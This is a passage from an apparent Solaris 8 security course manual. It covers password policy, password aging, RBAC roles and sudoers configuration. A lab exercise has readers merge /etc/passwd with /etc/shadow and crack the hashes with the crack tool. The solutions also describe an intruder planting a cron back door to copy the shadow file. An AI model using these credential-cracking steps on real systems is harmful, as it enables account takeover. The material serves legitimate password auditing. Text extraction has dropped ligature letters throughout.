The trick is to nd a password that is a balance between all of these
factors. When you have a password that achieves this sort of balance,
memorize itand then keep it secret.
Passwords
Users might protest the requirement that they must use passwords that
are hard to remember. Nevertheless, do not allow them to use easily
guessed passwords.
Note The Solaris 8 OE passwd command insists that users enter a
password of at least six characters, containing at least two letters and one
number or special symbol.
Use and communicate the following list of guidelines when selecting or
assigning passwords:
G Do not use any words found, even in part, in the dictionary of any
language Password-cracking programs use dictionaries as a
starting point for cracking. Prexing or appending numerals on to
such words slows the cracking process only slightly.
G Do not use a combination of the letters of your real name, user name,
initials, or nickname Reversing the order of the letters or
scrambling them creates passwords that are easy to crack.
G Do not use a combination of the letters of a famous persons name.
G Do not use a combination of the letters of a spouses, girlfriends,
boyfriends, childs, or pets name An intruder who knows your
name can nd out this information and add it to the list of cracking
possibilities.
G Do not use personalized numbers For example, avoid social
security numbers, license plates, telephone numbers, bank personal
identication numbers, street addresses, or your favorite car model.
G Do not use a password containing only digits, or all the same letter.
G Do not use a password that is shorter than six characters The
Solaris OE does not allow you to do this as a regular user, but it
allows the superuser to make passwords shorter. There is no point in
selecting a long password because only eight characters are used.
Note The superuser can press the return key for a password. This is not
the same as having no password at all, and will not be spotted by
automated utilities designed to detect accounts with no password. An
encrypted password still appears in the /etc/shadow le.
Recommendations for what users should do include:
G Use a password with mixed-case letters Capitalizing only the rst
letter is not sufcient. Attempt to mix the case in the middle of the
word as well.
Passwords
G Use a password that can be typed quickly This reduces the
possibility of someone watching you and committing the keystrokes
to memory as you type them (this kind of watching is called shoulder
surng).
G Use a password that contains special characters Use characters
such as ^, $, +, and ~.
The Mnemonic Method A Way to Remember
A popular way to create secure passwords and remember them is to start
with a phrase that you will remember. Take the rst letters of each word of
the phrase and then insert as many numerals or special characters as you
can.
Another popular technique is to replace some letters with digits.
The most common replacements are:
G Letter i with the digit 1
G Letter o with digit 0
G Letter s with 5
But the following replacements are often seen:
G Letter e with digit 3 (think of a mirror image of a capital E)
G Letter b with 6
G Letter l or v with 7 (think of a capital L or V rotated by 180 or 90
degrees respectively)
Taken to extremes this turns the password obelisk in 063715k.
Note Using the digits 1 and 0 to replace letters i and o is so common
that password cracking programs such as crack and John the Ripper test
for single letterdigit changes.
For example, you can use the phrase another ne mess to clean up to
remember the password aFm2c^.
Other examples are:
G 14$24sh0 One for the money, two for the show
G mm@F:00 Meet me at four oclock
Passwords
Using Multiple Words
Using passwords with multiple words combined with a special character
or digit is another good technique. For example:
G head2head
G sound&vision
G ew&fire
G dash-dash
G dot.dot
However, now that these passwords are listed in this text, they could end
up in someones password-cracking dictionary, so do not use these. Come
up with original onesand keep them secret!
Passwords
Revisiting the passwd Command
You can create and change passwords using the passwd command. The
passwd command is accessible to both regular users and the superuser,
but users can only change their own passwords, while the superuser can
change any users password. Users wanting to change their password
must rst enter their existing password for authentication (consult the
manual page for passwd for other options).
Code 6-1 shows an example of how a user would change his or her
password. In reality, the password is not echoed to the screen as it is
typed, but the password is shown here for convenience.
Code 6-1 Example of a User Changing His or Her Password
1 % passwd
2 passwd: Changing password for groucho
3 Enter login password: my_PassWD*
4 New password: my_PassWD2
5 passwd(SYSTEM): Passwords must differ by at least 3 positions
6 New password: hello
7 passwd(SYSTEM): Password too short - must be at least 6 characters.
Passwords
8 New password: groucho
9 passwd(SYSTEM): The first 6 characters of the password must contain
at least two alphabetic characters and at least one numeric or special
character.
10 passwd(SYSTEM): Too many failures - try later.
11 Permission denied
Regular users have certain restrictions on what they can enter as a new
password, and the new password must not be too similar to the old one.
The passwd command reports an error after three unsuccessful attempts
to change the password. These restrictions do not apply to the superuser.
The superuser can enter any characters. Also, the superuser is not
required to enter the old password before entering the new one.
The superuser can change any users password. Because the passwd
command does not check the new password against security criteria, it is
the responsibility of the superuser to make sure that the new password is
secure. To change a users password, the superuser enters the passwd
command followed by the user name, as shown in Code 6-2.
Code 6-2 Example of Superuser Changing a Password
1 # passwd groucho
2 New password: afm2c^
3 Re-enter new password: afm2c^
4 passwd (SYSTEM): passwd successfully changed for groucho
Configuring Password Aging
The password aging facility allows you to constrain the way in which users
change their passwords, and prevents them from using the same familiar
password for years. Unfortunately, it does not stop them from recycling
two or three favorites one after the other.
The passwd command contains several useful options that manage
passwords and their aging and expiration. Some of these options are
shown in Table 6-1 on page 6-17.
Passwords
Use password aging to ensure that users passwords are changed
regularly, but not so regularly as to cause users annoyance. (Once every
three or four months is a good compromise.)
Unfortunately, most users, when forced to change their password, revert
to their original password as soon as they can. Set a long minimum time,
to force users to become used to the new password. Typically, give users
seven days to change their password, and set the warning period to seven
days as well.
A typical aging command is:
# passwd -n 115 -x 122 -w 7 username
Faced with frequent password changes, users often grow lazy and resort to
passwords that defeat the purpose of password aging. For example, users
who must change their passwords every month soon run out of useful
passwords and take one of the following actions (in probable order of
occurrence):
G Cycle through two or three favorite passwords.
G Modify the same password using a simple cycle such as adding the
month number or name to the start or end of the password, or using
star sign abbreviations.
Table 6-1 Options for Managing Password Aging
Option Meaning
-x Sets the number of days from when the password
was last changed to when it will expire
-w Sets how many days warning is given to the user
before the password expires
-n Sets the minimum number of days before the
password can be changed
-f Forces users to change their passwords when they
next log in
-l Sets the encrypted password to *LK*, which
prevents the user from logging in
-s Lists the current parameters on an account
password
Passwords
G Think up a good password and then forget it by lunch time so that
they have to get help resetting their password.
G Pretend they have forgotten their new password and get you to reset
the password so that they can enter their previous password and
bypass the enforced change.
Unfortunately, there is not much you can do to prevent this. As long as
the password selected is a secure one, there is no real harm. Reinforce
with your users the password selection policy described earlier (see
Setting a Password Policy on page 6-9), and follow the steps to check
for weak passwords with crack or other tools (see Using the crack Tool
to Find Weak Passwords on page 6-27).
Configuring Default Password Aging
Restrictions on passwords can be controlled for all non-administrator
users by adding entries to the /etc/default/passwd le. By setting the
variables shown in Table 6-2, you can manage the default password
expiration periods and other required password standards for all users
when they change their passwords.
Table 6-2 Setting Default Password Expiration Periods
Code Meaning
MAXWEEKS=17 The user must change the password at least
every four months.
MINWEEKS=4 Four weeks must elapse before the password
can be changed.
WARNWEEKS=1 A warning is given one week before the
password must be changed.
PASSLENGTH=8 The password must contain eight characters.
Passwords
Checking for Accounts With No Password
Even though you can create accounts without passwords, to do so is
asking for trouble. Even though there are no restrictions on what the
superuser can use for a password, you never want to create an account
without a password.
Because it is possible to create accounts without passwords, it is also
possible to check whether such accounts exist. Use the logins command
with the -p option to see if any user on the system is missing a password.
The following example indicates that user groucho is missing a password:
# logins -p
groucho 401 other 1
The rst time that a user logs in to an account that has no password, the
user must enter a password. However, if the user logging in is an intruder,
the intruder can set the password, thereby gaining unrestricted access to
that account. In the extremely unlikely event of a superuser having no
password, the intruder can continue to login without a password time
after time, without any restrictions.
Passwords
Certain special accounts, such as sys and bin, have a special no
password status, indicated by the appearance of NP in the encrypted
password eld of the /etc/shadow le. This means that there is no valid
password entry for these accounts, and these accounts cannot be used for
interactive login sessions.
Passwords
Using Password Generators
In some special, high-security situations, it might be necessary to
pre-qualify a password before a user can use it. There are many programs
that can generate a list of secure passwords for a user to select from. These
passwords are created from randomly chosen characters and are virtually
impossible for cracking programs to crack.
Unfortunately, because the generated passwords are made up of a random
sequence of characters, they are easy to forget. Users generally want to
write the passwords down somewhere. Therefore, use generated
passwords only when necessary.
Less secure, but more usable password generators combine multiple
words (often related) from the dictionary.
Passwords
Another approach is to have a user submit a password that they feel they
can remember, and then run the password through a password-cracking
program (see Using the crack Tool to Find Weak Passwords on
page 6-27). If the password fails to be cracked in a reasonable time, accept
the password and assign it to the user.
Passwords
One-Time Passwords
Because passwords can easily be sniffed if users regularly access the
system over the Internet or a network, consider the use of one-time
passwords. As the name implies, a one-time password is a password that
is used only once.
Two popular one time password systems are:
G One-time Passwords In Everything
[http://www.inner.net/opie]
G S/Key
[ftp://ftp.cerias.purdue.edu/pub/tools/
unix/netutils/skey/]
Many systems are available which involve the use of smart cards,
password generators, or code books, and many vendors supply them.
Passwords
One of the most secure is SecureID, which requires each user to carry a
small number generator about the size of a large key fob or small cigarette
lighter. The number generator provides a new (numeric) password every
60 seconds. A similar number generator is provided on the server to
maintain the users account password. The password required by the user
usually includes a four to eight digit PIN number which must be
appended to the generated random number providing additional security
against theft of the number generator.
Cracking Password Programs
Cracking Password Programs
A less drastic approach to password security than preventing users from
picking their own or using password generators, is to test user passwords
to identify those that are easy to guess. It is relatively easy to write your
own password-cracking program, but there are also a number that are
freely available. The most well known include:
G crack
G John the Ripper
G monkey
G l0pht for Microsoft Windows
Cracking Passwords Using the crackTool
The crack tool is a utility that guesses passwords by encrypting words or
sets of characters and comparing them to the encrypted password in the
/etc/shadow le. The crack tool is only useful to an intruder that has
access to the /etc/shadow le.
The advantage of password-cracking is that it can be done ofine, so that
when the encrypted passwords have been obtained, there is no evidence
on the system that anything unusual is happening.
The crack tool draws its input from a number of dictionary les. It also
applies thousands of rules to the dictionary words to try to guess
passwords that would otherwise seem impossible to crack. The
dictionaries are updated and expanded on an ongoing basis to include
everything from U.S. presidents to Star Trek terms. The crack tool also
adds the words in the GCOS eld in the /etc/passwd le to its dictionary
list.
Using the crack Tool to Find Weak Passwords
Running crack (or a similar tool) on a regular basis is a useful security
check, but do not use it as an alternative to educating your users to select
secure passwords.
If the crack tool nds an account with an insecure password, you should
disable this account immediately or, at least, change the password, and
notify the owner.
Installing and Running the crack Tool
The crack version 5.0 package can be downloaded from the following
location, and must be compiled locally:
ftp://ftp.cerias.purdue.edu/pub/tools/unix/pwdutils/
The crack tool produces more useful output if the les /etc/passwd and
/etc/shadow are merged to create a le with the format of an old UNIX
C1 password le. The crack tool provides a script to do this. Use this
merged le as the input to the crack tool.
When invoked, the crack tool runs a separate background process called
cracker to attempt to crack the passwords, and writes its results to a
temporary data le. Because the cracker process can take considerable
time to complete, monitor progress with the ps command and use the
Reporter command to periodically view the results.
Caution Do not leave a password-cracking program on your system
where it can be executed by regular users. Do not store the output of the
program anywhere.
Tools for Setting Good Passwords
Tools for Setting Good Passwords
There are freeware packages available that strengthen the passwd
program by not allowing users to pick easy-to-guess passwords. These
include:
G npasswd
G passwd+
G anlpasswd
These and other programs can be found on the Internet. (See Additional
Resources on page 6-3 for the download site for the best known of these
programs, npasswd.)
Another useful tool is AntiCrack, a password-checking program, that
uses the same rules and dictionaries as the crack program. The only
difference is that you use the AntiCrack program to check a raw (non-
encrypted) UNIX password, so it is far faster than the crack tool. Use the
AntiCrack program to check how secure a password is before using it.
Exercise: Securing Passwords
G Install and congure the crack tool
G Use the crack tool to nd insecure passwords on your system
G Check your favorite passwords with the crack tool
Preparation
There is no preparatory work for this module.
Tasks
instructor.
Task Installing and Configuring the crack Tool
The crack version 5.0 package can be downloaded from:
A copy has already been downloaded and saved in the /usr/local/pkg
directory. To install and congure the crack tool:
1. Unpack the downloaded le (crack5_0.tar) using the tar
command to create the directory crack50a. Follow the instructions
and install the crack tool in the le manual.html (or manual.txt)
in the crack50a directory.
2. Edit the following two les to use the gcc compiler rather than the
cc compiler:
/usr/local/crack50a/Crack
/usr/local/crack50a/src/libdes/Makefile.uni
3. Compile the crack tool as described in the manual.
Task Running the crack Tool Against the System
Passwords
The crack tool works best if the password data (user name, GCOS data,
and so on) and the encrypted passwords are both used as source data. Do
this by merging the les /etc/passwd and /etc/shadow to create a
temporary le which has the format of an older UNIX C1 password le.
The crack tool provides a script to do this in the scripts directory.
1. Run the following script to create a temporary le to crack
passwords:
# cd /usr/local/crack50a
# scripts/shadmrg.sv >passwords
2. Run the crack tool against the combined passwords le:
# ./Crack passwords
1. This runs a separate background process called cracker that
attempts to crack the passwords. You can see this process by using
the ps command or the top utility.
The crack tool writes its results to a data le and not to standard
output. Use the Reporter command to periodically view the results,
as follows:
# ./Reporter -quiet
If you have not changed the passwords for the users alice, bob, or
eve, the crack tool will nd bobs password (b0bb0b) almost
immediately, but will take about 15 minutes to guess alices
(w0nder) and will not guess eves (3v3adam).
If you just run the crack tool against the shadow le (crack only
needs the encrypted password) as follows:
# ./Crack /etc/shadow
then it will fail to nd bobs password.
2. Stop the crack tool by entering:
# scripts/plaster
3. Clear any existing cracked password list using:
# make tidy
so that a new clean run can be attempted.
4. How much of a threat do you think the crack tool is against modern
C2 secure Solaris OE systems?
Task Using the crack Tool to Check Favorite
Passwords
1. Create a user account for yourself with a command such as:
# useradd -m -s /usr/bin/ksh test1
2. Use passwd to set the password for the test1 account use one of
your usual passwords.
3. Repeat these steps for as many passwords as you want to test,
naming each extra account test2, test3, and so on. Remember that
you might have already added a guest account as part of the
exercises for Module 5.
4. Merge your entries in the /etc/passwd and /etc/shadow les into a
le for the crack tool, using:
# scripts/shadmrg.sv | grep 'test[0-9]*$' >mypasswords
5. Run the crack tool on this le after stopping the existing crack run
and tidying the data les:
# scripts/plaster
# make tidy
# ./Crack mypasswords
6. Repeat these steps for all the passwords you want to test.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
In this exercise, you will use the crack tool to verify the security (or
otherwise) of passwords on the system.
Installing and Configuring the crack Tool
Install and congure the crack tool as follows:
1. Unpack the crack5_0.tar le into the /usr/local directory using:
# cd /usr/local
# tar xvf pkg/crack5_0.tar
# cd crack50a
Study the manual.html or manual.txt le for instructions. The
crack tool needs compiling and requires some changes to the crack
script and makefile.uni, as described in the crack manual and
explained in the solutions section. The Solaris OE uses the standard
crypt() mechanism for encrypting passwords.
2. Edit the crack script, comment out the line start CC=cc (#CC=cc),
and uncomment the line #CC=gcc (CC=gcc).
3. Make the same two edits to the src/libdes/Makefile.uni le.
4. Compile crack using:
# ./Crack -makeonly
# ./Crack -makedict
Running the crack Tool Against the System Passwords
There is no solution to this exercise. You should follow the instructions
provided on page 6-31.
Is the crack tool a threat against modern C2 secure Solaris OE systems?
This depends on how secure the /etc/shadow le is. The default
permissions mean that only the root user can read the le. If an intruder
gains root access, the intruder can leave a back door open and copy the
shadow le to a user-readable le on a regular basis (perhaps using the
cron command). This means that even when the root password changes,
the intruder can crack the new password.
Exercise Solutions
If the intruder gets a copy of the /etc/shadow le from a backup tape or
by snifng the network (both subjects are presented later in this course),
then crack is another tool that the intruder can use.
Nevertheless, these days crack is a limited threat to C2 secure Solaris
OEs.
Using the crack Tool to Check Favorite Passwords
If crack failed to guess your passwords congratulations!
If your passwords have been cracked, you must rethink the way you
choose your favorite passwords.
Did crack nd the password you set for the guest account in Module 5?
7-1
Module 7
SecuringRoot Access
Objectives
G Congure and use Role Based Access Control (RBAC)
G Congure and use the sudo utility
Relevance
Relevance
?
!
restricting root access to a system:
G Why not let everyone have root access?
G Do you know how many administrators have the root password for
your systems?
G Do you know what these administrators do on a daily basis?
G Do these administrators need full root access or would a subset
of commands sufce?
G Are these administrators trustworthy?
G How can you enable a user to do privileged operations (such as
backups) without giving them full superuser privileges?
Securing Root Access 7-3
G Solaris OE manual pages for auths(1), profiles(1), roles(1),
roleadd(1M), rolemod(1M), useradd(1M), usermod(1M),
auth_attr(4), exec_attr(4), prof_attr(4), and user_attr(4)
G Solaris AnswerBook version 2.
G Frisch, Aeleen. System Administration. 2nd Edition. OReilly &
Associates, Inc., 1995.
G Winsor, Janice. Solaris System Administrator's Guide. 3rd Edition.
Prentice Hall, 2000.
G Gregory, Peter H. Solaris Security. Prentice Hall, 1999.
Tool Downloads
G sudo precompiled Solaris OE package format,
[http://www.sunfreeware.com/]
G sudo online resources,
[http://www.courtesan.com/sudo]
Controlling Root Access
Controlling Root Access
A major security problem with UNIX (and therefore with the Solaris OE)
is that the superuser is so powerful and that other users are not powerful
enough to x their own problems. That is, there is not enough ne-grained
control over the allocation of functionality to users. UNIX security is very
much all (the root user) or nothing (everyone else).
Unless the system size and complexity is very small or the system
administrator is super-human, secure system administration requires
some superuser functionality to be available to a number of users. To
control the actions of those users, it is useful to give them access to some
privileged commands without giving themfull superuser access. There are
two approaches to providing this functionality:
G Role Based Access Control (RBAC) A solution based on setting up
roles, proles, and authorizations. RBAC is specic to Solaris OE, but
other avors of UNIX might have a proprietary package that provides
similar functionality.
G The third-party sudo utility A portable solution, easy to congure,
that can be used on heterogeneous UNIX platforms, not just the
Solaris OE.
Solaris OE Role Based Access Control (RBAC)
RBAC extends the basic access control for Solaris OE commands to allow
any user to borrow certain UIDs when running particular commands.
RBAC privileges are associated with either an individual user or a role. In
RBAC, roles are preferred, because they simplify the management of large
numbers of users. The user or role privileges support the ability to run a
single command or a group of commands known as a prole. Grouping
commands into proles makes it easier to assign common sets of
commands to multiple roles.
The RBAC authorization mechanism also supports other Solaris OE
security packages such as Basic Security Module (BSM).
Understanding RBAC Concepts
RBAC is built around the concepts of authorizations, roles, and proles.
Roles and proles allocate extra command privileges, and authorizations
grant access to functionality such as devices in BSM (see Module 3, The
Solaris OE Basic Security Module).
Using Proles
A prole is a grouping of one or more commands that simplies the
allocation of a single block of commands to multiple users. One or more
proles are usually allocated to roles.
Use the profiles(1) command to view a list of a users proles (omit the
username to view the proles for the current user):
# profiles alice
Using Roles
A role is a special type of user account that performs a set of
administrative tasks. Typically a role contains one or more proles and a
user is associated with one or more roles to gain access to restricted
functionality.
Use the roles(1) command, which accepts an optional username as a
single parameter, to view a list of a users roles (omit the username to
view the roles for the current user):
# roles alice
Using Authorizations
An authorization is a name associated with the right to access restricted
functionality (typically devices under BSM). Use the auths(1) command
to view a list of a users authorizations (omit the username to view the
authorizations for the current user):
# auths alice
RBACCommands
You can maintain the conguration les manually or use the commands
shown in Table 7-1.
Table 7-1 RBAC Commands
Command Meaning
roleadd Creates the roles and associates a role with an
authorization or a prole (the -A and -P options,
respectively
rolemod
and
roledel
Provide support for modifying and deleting roles
useradd Provides support for associating users with roles,
proles, and authorizations using the -R, -P, and
-A options, respectively
roles,
profiles,
and auths
List users allocated roles, profiles, and
authorizations, respectively
Configuring RBAC Profiles
The Printer Management prole is a standard prole dened in the
/etc/security/exec_attr le, as shown in Code 7-1.
Code 7-1 Standard Printer Management Prole
1 Printer Management:suser:cmd:::/usr/sbin/lpshut:euid=0
2 Printer Management:suser:cmd:::/usr/bin/cancel:euid=0
3 Printer Management:suser:cmd:::/usr/bin/enable:euid=lp
4 ...
The /etc/security/exec_attr le contains several other lp
administration commands dened in a similar manner as those shown in
Code 7-1 on page 7-8. In the fragment shown in Code 7-1 on page 7-8, any
user with the Printer Management prole can run the commands shown
in Table 7-2.
The two elds after the prole name dene the superuser security policy
and the entity type of command. These elds are xed as suser and cmd,
and should not be altered.
There is one standard prole called All which is dened in the
/etc/security/exec_attr le as:
All:suser:cmd:::*:
This prole allows the user to run any command with no special
privileges (using their current UID and GID). It is usual to grant all role
users access to the All prole. If the user is not given access to the All
prole, the user can only run the commands in their roles when running
the prole shell.
You must use the conguration le, /etc/security/prof_attr, to
dene the prole, as used in the /etc/user_attr le:
Printer Management:::Manage printers:help=PrinterMgmt.html
This le links the prole with additional information, such as a
description and a help le. Use this le with GUI tools for working with
the database.
Note Currently there are no GUI tools for working with the RBAC
database les.
Table 7-2 Commands for the Printer Management Prole
Command Meaning
/usr/sbin/lpshut as root
(effective UID of 0)
Lets the user stop the printer
system
/usr/bin/cancel as root
(effective UID of 0)
Lets the user cancel print jobs
for any user
/usr/bin/enable as lp
(effective UID of lp)
Lets the user enable an ofine
printer
Adding RBAC Profiles
There are no commands for maintaining proles, so the two conguration
les must be edited manually with a text editor, such as vi.
To add a new prole, give the new prole a name by creating an entry in
the /etc/security/prof_attr le. For example, a new prole for user
management, called User Management, is created using the new entry:
User Management:::Manage user accounts:
You must add the required commands for this prole to the
/etc/security/exec_attr le. For example:
1 User Management:suser:cmd:::/usr/sbin/useradd:euid=0
2 User Management:suser:cmd:::/usr/bin/usermod:euid=0
3 User Management:suser:cmd:::/usr/bin/passwd:uid=0
The passwd command requires the real UID to be that of the root user
(zero) whereas usermod and useradd only require the effective UID to be
zero.
Using RBAC Roles and Profiles
The key concept for RBAC is using roles to grant access to one or more
commands which are executed using the privileges of another user
(typically the root user). The commands themselves are associated with
proles and the roles are associated with one or more proles. Users can
be associated with one or more roles or proles.
Proles are dened in conguration les, and a role is a special type of
user account that is intended for performing a set of administrative tasks.
The role account is like a regular user account, except that users can gain
access to it only by using the su command; it is not accessible for regular
logins.
A role user must be assigned one of the prole shells below:
G /usr/bin/pfsh for Bourne shell
G /usr/bin/pfksh for Korn shell
G /usr/bin/pfcsh for C shell
A prole shell is required so that commands are executed with the
attributes specied by the users proles in the /etc/exec_attr database
le.
You do not need to create a home directory for a role user because roles
should not be used for regular logins, only as the target of a su command.
The role account needs a password to enable the user to assume the role.
Creating Roles
Use the command useradd to create the role. Alternatively, use the
command roleadd to create the role and add authorization or prole
entries to the conguration le /etc/user_attr.
For example, if a prole called Printer Management has been dened
(this is a default role provided with Solaris 8 OE), then a new role
associated with this prole can be created, as shown in Code 7-2.
Code 7-2 Example: Creating a New Role
# roleadd -P "Printer Management" Printers
# passwd Printers
The roleadd command veries that the required prole (Printer
Management) is dened in les /etc/security/prof_attr and
/etc/security/exec_attr. shows sample conguration les.
Code 7-3 Role Conguration Files
# grep Printers /etc/passwd
Printers:x:111:1::/home/Printers:/bin/pfsh
# grep Printers /etc/user_attr
Printers::::type=role;profiles=PrinterManagement
Assigning Roles and Profiles
To understand the function of the RBAC conguration les, examine how
an example user is granted access to the line printer administration
commands. (The full format of the conguration les is not described
here. See the online manual pages for full details.)
To dene a role, the role must be added to the /etc/user_attr le (and
must also have an account entry in the /etc/passwd and /etc/shadow
les). Use the roleadd (1M) command to create the necessary entries if
you use the -P option (as in Code 7-2 on page 7-13):
# roleadd -P "Printer Management" Printers
This command adds the following line to the /etc/user_attr le:
Printers::::type=role;profiles=Printer Management
Each user that needs access to that role must also be added to the
/etc/user_attr le. Use the usermod command (or useradd if creating
a new user) to create this entry:
# usermod -R Printers alice
This command grants alice access to the Printers role. The Printers
role gives access to the Printer Management prole (see Code 7-1 on
page 7-8). It is usual to also grant a user access to the prole All, which is
presented later. Without this prole, the user can only access the
commands in their allocated role. For example:
# usermod -R Printers -P All alice
This adds the following line to the /etc/user_attr le:
alice::::type=normal;roles=Printers;profiles=All
Note The -R and -P options replace any existing role or prole settings.
Assuming a Role
Using a role account, a user can access commands with special attributes
(typically root user ID), which are not available to users using regular
accounts. A user gains access or assumes a role using the su command:
# /bin/su Printers
The parameter to the su command is the role name Printers rather than
a user name (roles are dened like users and have an entry in the
/etc/passwd le).
After running the example su command and supplying the password for
the role (Printers), the user is now running a prole shell (the default is
the Bourne shell /usr/bin/pfsh). The user only has access to the
commands dened for that role (the printer administration commands).
Some of these commands can be given special privileges such as the
ability to run as root (or lp in this example).
Evaluating RBAC
RBAC provides a exible but complex means of allocating a subset of
superuser functionality to one or more users. The mechanism can appear
confusing because there is no obvious requirement for three different
mechanismsproles, roles, and authorizationsto support running
some commands with superuser privileges. In practice, RBAC supports
other Solaris OE features such as BSM, which accounts for the range of
functionality.
RBAC gives you ne-grained control over allocating access of privileged
commands to individual users or groups of users. You can approximate
the features of RBAC through the careful conguration of user groups and
the SETGID functionality of commands, but you will not get the ease of
administration and separation of functionality.
The conguration les are general purpose and have many columns of
data which are currently unused. Therefore, you must count colons
carefully when manually editing the les. Use the command line tools to
simplify the maintenance of the RBAC les.
RBAC is not available on all UNIX platforms and will not appeal to
administrators working in a heterogeneous environment because the
system administrators cannot use the same technology to administer all
platforms.
RBAC can run a prole shell which extends the capabilities of the user to
include some privileged commands. The user must memorize another
user account name (role name) and password, but when the role has been
assumed, the permitted commands are run as usual.
The sudoUtility
The sudoUtility
The sudo utility lets trusted users perform certain functions as though
they were root users, by providing access to a limited set of privileged
commands. These users use their own password for authorization, and do
not need to memorize another password.
Most sites with UNIX installations have multiple system administrators
with varying skill levels, and the different systems usually have different
root passwords. With the sudo utility, you can give users access to only a
limited set of commands, according to the role performed by the user. For
example, a novice administrator can add, delete, or modify users, while a
more experienced administrator can access backup, restore, and
shutdown utilitiesall without having access to the root password.
When you execute commands as the root user, no record of what
commands were run is logged (unless auditing is switched on). The sudo
utility keeps a log of all successful and unsuccessful sudo attempts,
providing data to track who performed a given command at what time.
The sudo utility can also write logging information to the syslogd le.
The sudoUtility
Using the sudo Utility
To execute a restricted command with sudo, the user enters sudo followed
by the command to execute. The sudo utility checks the
/usr/local/etc/sudoers le (described in Conguring the sudo
Utility on page 7-24) to verify whether the user has permission to
execute the requested command. If the request is granted, the user is
prompted for their own password. If the user enters the correct password,
the command is executed. A user on the host can use the -l option to see
which commands they can execute.
The sudoUtility
The example shown in Code 7-4 lists which sudo commands the current
user can run. The command output includes a standard lecture compiled
into the sudo utility.
Code 7-4 Command and Output Showing Which Commands
the Current User Can Run
1 $ sudo -l
2 We trust you have received the usual lecture from the local System
3 Administrator. It usually boils down to these two things:
4
5 #1) Respect the privacy of others.
6 #2) Think before you type.
7 Password:
8 You can run the following commands on this host:
9 (root) /usr/sbin/shutdown
The sudoUtility
Introducing sudo Tickets
When users invoke sudo and enter the correct password, the system
grants them a ticket for ve minutes. Subsequent permitted commands do
not require a password as long as the ticket remains valid. The ticket is
refreshed every time the sudo utility runs. The sudo ticket is associated
with the user name of the current user (as opposed to the shell PID or
terminal device name).
The following example lets this user run the shutdown command (no
password prompt is issued because the sudo ticket is still valid):
$ sudo shutdown -g 5 -i 0 -y
Shutdown started. Thursday April 19 14:21:26 BST 2001
Note The full directory path for the command must match the
command name in the conguration le (see Conguring the sudo
Utility on page 7-24). This helps prevent Trojan horse programs from
being run inadvertently.
The sudoUtility
Configuring the sudo Utility
When the sudo utility is installed, the default behavior is that all non-root
users are denied sudo privileges. You must explicitly allow any actions
you want to permit for users. Do this by conguring the
/usr/local/etc/sudoers le to dene the rules you want to implement.
The sudoers le also contains aliases and defaults for the sudo utility.
The easiest way to edit the conguration le is to use the supplied visudo
utility:
# visudo
which checks the syntax of the sudoers le when you exit.
The rules allow you to specify which commands users can execute on
which hosts. You can dene aliases for users, hosts, and commands to
simplify complex congurations.
The sudoUtility
The sudoers Format
The basic structure of a rule follows this format:
user host=commands [:host=commands]...
where:
G user is the login ID of the user or alias or a group name if preceded
by a percent sign (for example, %nogroup).
G host is the hostname or alias of the computer. This eld allows a
single sudo conguration le to be created for the enterprise and
distributed to all hosts. Each host must have a copy of the sudo
utility installed (sudo does not support remote execution of
commands).
G commands is a comma-separated list of commands (or aliases) that
the user can invoke using the sudo utility.
The sudoUtility
G Each command can be prexed with a username in parentheses, to
ensure that the command runs as a specic user (this requires that
you use the -u option with the sudo command); by default all
commands run as the root user.
The only congured command in the default le is:
# User privilege specification
root ALL=(ALL) ALL
This example allows root to run on ALL hosts as (ALL) users and ALL
possible commands (each ALL is an example of a standard alias).
An example of a command is:
bob wallace=/usr/sbin/shutdown
which allows the user bob to run the shutdown command on the host
wallace.
The sudoUtility
Using Aliases
Code 7-5, Code 7-6, and Code 7-7 on page 7-28 show the three types of
aliases:
Code 7-5 Simple Alias Denitions
1 Cmnd_Alias DOWN=/usr/sbin/shutdown,/usr/sbin/reboot
2 Host_Alias WORKSTATIONS=grommit,wallace
3 User_Alias ADMIN=alice,bob
Alias names must be specied in all uppercase letters. When an alias has
been dened it can be used just like a user, host, or command when
assigning sudo privileges. For example:
Code 7-6 Using Aliases
1 alice ALL=/usr/sbin/init
2 bob penguin=DOWN
3 ADMIN ALL=DWON
The sudoUtility
Aliases can include wildcards for commands and command line
arguments. These are based on the shell le name generation characters.
An exclamation mark (!) is a logical not operator, both in an alias and in
front of a command. The example in Code 7-7 shows the use of both ! and
* in an alias denition.
Code 7-7 Example: Wildcard Alias Denitions
1 Cmnd_Alias USERADMIN=/usr/sbin/user*, !/usr/sbin/userdel
2 Cmnd_Alias PASSWD=/usr/bin/passwd [A-Z]*
3
4 alice ALL=USERADMIN
5 ADMIN ALL=PASSWD
This alias allows alice to run the /usr/sbin/useradd and
/usr/sbin/usermod commands (and any other command beginning
with user in the /usr/sbin le) but not /usr/sbin/userdel. Any user
in the ADMIN alias can run the passwd command or a user whose login
name starts with a capital letter. For both rules, there are no restrictions on
hosts.
The online manual page for sudoers lists several other examples.
The sudoUtility
Using Defaults
In addition to rules and aliases, the sudoers le can also specify default
values for a large number of congurable items. The following command
lists all of the defaults available:
# sudo -L
The sudoUtility
The most useful defaults are the ones for logging (see Logging sudo
Activity on page 7-31) but some others are worth considering, as shown
in Table 7-3.
Table 7-3 Example Default Values
Default Values Meaning
Defaults
secure_path=/bin:/usr/bin
:/usr/sbin:/usr/local/bin
Sets the PATH variable used by
the sudo commands to a safe
value. This protects against
users having insecure PATH
settings and allows you to
control what commands can be
run. Applies to all users.
Defaults:ADMIN !lecture Does not display the standard
warning banner whenusing the
sudo command for users in the
ADMIN alias.
Defaults:alice
!authenticate
Does not ask alice for the
password (this is obviously not
a very secure option to
congure).
The sudoUtility
Logging sudo Activity
By default, the Sun freeware package for sudo does not dene any
logging. You can enable logging to write to the Syslog daemon and to one
or more logging les.
The following default setting in the sudoers le enables logging to
syslogd as an auth entry:
Defaults syslog=auth
Successful sudo logins are agged at notice priority and invalid logins at
alert priority. A typical /etc/syslog.conf entry to add failed logins to
a logging le would be:
auth.alert /var/adm/auth.log
The system logging facility is described in detail in Module 2, Using
Solaris OE Log Files.
The sudoUtility
You can also direct logging to a log le (not one of the Syslog les) by
adding entries to the sudoers le:
Defaults logfile=/var/adm/sudo.log
Defaults:ADMIN !logfile
This example enables logging for all users except those in the ADMIN alias.
The sudo log contains the following information: date and time that sudo
was executed; who executed sudo; whether the user was privileged in the
sudoers le to execute the command; and the command line that was
used.
Code 7-8 Example sudo Log
# cat /var/adm/sudo.log
Apr 19 11:54:15 : eve : user NOT in sudoers ; TTY=pts/4 ;
PWD=/export/home/eve ; USER=root ; COMMAND=/usr/bin/su
